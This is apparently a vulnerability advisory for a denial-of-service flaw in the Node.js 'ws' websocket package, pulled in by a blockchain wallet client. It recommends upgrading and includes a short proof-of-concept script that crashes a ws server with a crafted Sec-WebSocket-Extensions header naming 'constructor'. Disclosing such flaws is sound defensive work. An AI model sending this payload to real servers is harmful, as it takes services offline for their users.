Denial of Service (DoS)

[larrycameron80]

Denial of Service (DoS)
Vulnerable module: ws
Introduced through: [email protected]
Detailed paths
Introduced through: blockchain-wallet-client@blockchain/My-Wallet-V3#c0bf5615c862fb8d7ec5e3f5031c2998b8ddc690 › [email protected]
Remediation: Upgrade to [email protected].
Overview
ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

PoC:

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'

const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
Sec-WebSocket-Extensions: ${payload},
'Upgrade: websocket',
'\r\n'
].join('\r\n');

const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});